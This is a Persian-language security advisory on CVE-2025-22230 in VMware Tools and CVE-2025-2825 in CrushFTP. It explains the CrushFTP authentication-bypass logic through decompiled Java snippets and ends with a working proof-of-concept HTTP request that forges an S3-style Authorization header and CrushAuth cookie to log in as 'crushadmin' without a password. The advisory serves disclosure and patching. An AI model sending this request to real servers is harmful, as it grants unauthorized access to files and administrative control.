آسیبپذیری VMware Tools
شرکت Broadcom برای رفع یک آسیبپذیری امنیتی با شدت بالا در VMware Tools برای ویندوز که میتواند به دور زدن احراز هویت منجر شود، پچهای امنیتی منتشر کرده است. این آسیبپذیری که با شناسه CVE-2025-22230 ردیابی میشود، امتیاز 7.8 در CVSS دارد.
Broadcom در هشدار امنیتی روز 25 مارس 2025 اعلام کرد کهVMware Tools در ویندوز دارای یک آسیبپذیری در احراز هویت است که به دلیل کنترل نادرست دسترسی ایجاد شده است. یک مهاجم با دسترسی غیرمدیریتی در یک ماشین مجازی(VM) مهمان، ممکن است بتواند برخی عملیات سطح بالا را در آن VM اجرا کند. این آسیبپذیری توسط محققان شرکت امنیت سایبری روسی Positive Technologies کشف و گزارش شده است.
CVE-2025-22230: جزئیات فنی و نسخههای آسیبپذیر
- CVE-2025-22230 بر نسخههای 11.x.x و 12.x.x از VMware Tools در ویندوز تأثیر میگذارد.
- این مشکل در نسخه 12.5.1 برطرف شده است و هیچ راهحلی برای کاهش اثر آن بدون بهروزرسانی وجود ندارد.
آسیبپذیری CrushFTP
در همین حال، CrushFTP از وجود یک آسیبپذیری در دسترسی غیرمجاز به پورت HTTP(S) در نسخههای 10 و 11 این نرمافزار خبر داد. پس از انتشار گزارش اولیه این شرکت، آسیبپذیری CrushFTP با شناسه CVE-2025-2825 ثبت شد و امتیاز 9.8 در CVSS دریافت کرد که نشاندهنده شدت بحرانی آن است.
مشخص شده که این نقص در نسخههای 10.0.0 تا 10.8.3 و 11.0.0 تا 11.3.0 نرم افزار CrushFTP وجود دارد. در توضیحات این آسیبپذیری آمده است که درخواستهای HTTP از راه دور و بدون احراز هویت ممکن است به مهاجمان اجازه دهند که بهصورت غیرمجاز به سرور CrushFTP دسترسی پیدا کنند.
تحلیل فنی آسیبپذیری CVE-2025-2825 در CrushFTP
CrushFTP از نسخه 10 به بعد از یک API سازگار با Amazon S3 پشتیبانی میکند که به کاربران امکان تعامل با سرور را از طریق مکانیزم احراز هویت S3 میدهد. در مکانیزم استاندارد S3، احراز هویت با استفاده از یک هدر Authorization انجام میشود که شامل کلید دسترسی و یک امضای دیجیتالی است.
Authorization: AWS4-HMAC-SHA256 Credential=///s3/aws4_request, SignedHeaders=, Signature=
فرایند صحیح به این صورت است که سرور مقدار AccessKey را استخراج کرده و کاربر را شناسایی میکند. در ادامه، امضا (Signature) را بررسی کرده و صحت درخواست را تأیید میکند؛ اما در CrushFTP، نقص امنیتی در نحوه پردازش این درخواستها باعث دور زدن احراز هویت شده است.
آسیبپذیری در تابع loginCheckHeaderAuth() در فایل ServerSessionHTTP.java وجود دارد که درخواستهای S3 را پردازش میکند.
if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract the username from credential field
String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// Initialize variables
String user_pass = null;
String user_name = s3_username3;
boolean lookup_user_pass = true; // Default to true - this is crucial!
// Check if username contains a tilde
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
// In version 11.3.0, there's no security check here
// Attempt to authenticate the user
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
// Authentication succeeds
}
}
بعد از اجرای متد loginCheckHeaderAuth() همانطور که در کد بالا نشان داده شد متد login_user_pass() در SessionCrush.java اجرا و مقدار lookup_user_pass بهعنوان anyPass ارسال میشود:
// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
// Various validations and logging happen here
if (user_name.length() <= 2000) {
int length = user_pass.length();
ServerStatus serverStatus = ServerStatus.thisObj;
if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
uiPUT("last_logged_command", "USER");
// Numerous other checks and validations
// Eventually we call verify_user with the anyPass parameter
boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
if (verified && this.user != null) {
// Authentication success handling
return true;
}
}
}
return false;
}
سپس، در verify_user() که همچنان در SessionCrush.java قرار دارد، anyPass به تابع دیگری داده میشود:
// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
// Various user validation and formatting logic
// The anyPass value is passed to the UserTools.ut.verify_user method
this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass,
uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"),
uiIG("user_port"), this.server_item, loginReason, anyPass);
// The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
this.user_info.put("plugin_user_auth_info", "Password incorrect.");
}
// Various other checks and return logic
return this.user != null;
}
در متد verify_user() در UserTools.java مقدار anyPass تعیین میکند که آیا اعتبارسنجی رمز عبور نیاز هست یا خیر:
// Inside UserTools.java
public Properties verify_user(
ServerStatus server_status_frame,
String the_user,
String the_password,
String serverGroup,
SessionCrush thisSession,
int user_number,
String user_ip,
int user_port,
Properties server_item,
Properties loginReason,
boolean anyPass
) {
// User lookup and validation logic
Properties user = this.getUser(serverGroup, the_user, true);
// Here's the critical vulnerability:
// If anyPass is true, password verification is skipped entirely
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
// Otherwise normal password verification occurs
if (user.getProperty("username").equalsIgnoreCase(the_user) &&
check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
return user;
}
// Authentication fails
return null;
}
در نهایت، در UserTools.java اگر anyPass مقدار true داشته باشد، رمز عبور بهطور کامل نادیده گرفته میشود!
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
اثبات مفهومی(PoC) برای CVE-2025-2825
طبق گفته ProjectDiscovery سوءاستفاده از این آسیبپذیری بسیار ساده است. مهاجم تنها نیاز دارد که:
- یک درخواست HTTP با هدر احراز هویت AWS S3-style همراه با نام کاربری معتبر ارسال کند.
- یک کوکی CrushAuth با مقدار c2f مشابه تنظیم کند.
GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
Host: target-server:8081
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
میتوان اکسپلویت آسیبپذیری را با بررسی پاسخ سیستم تأیید کرد. دریافت یک پاسخ موفق نشاندهنده این است که آسیبپذیری با موفقیت مورد سوءاستفاده قرار گرفته است. در این حالت، مهاجم میتواند به فایلها دسترسی پیدا کند، محتوای مخرب آپلود کند، کاربران مدیر ایجاد کند و در مجموع کنترل کامل سرور را در اختیار بگیرد.

با توجه به انتشار PoC و سابقه استفاده مهاجمان از آسیبپذیریهای VMware و CrushFTP در گذشته، بهروزرسانی سریع این نرمافزارها ضروری است.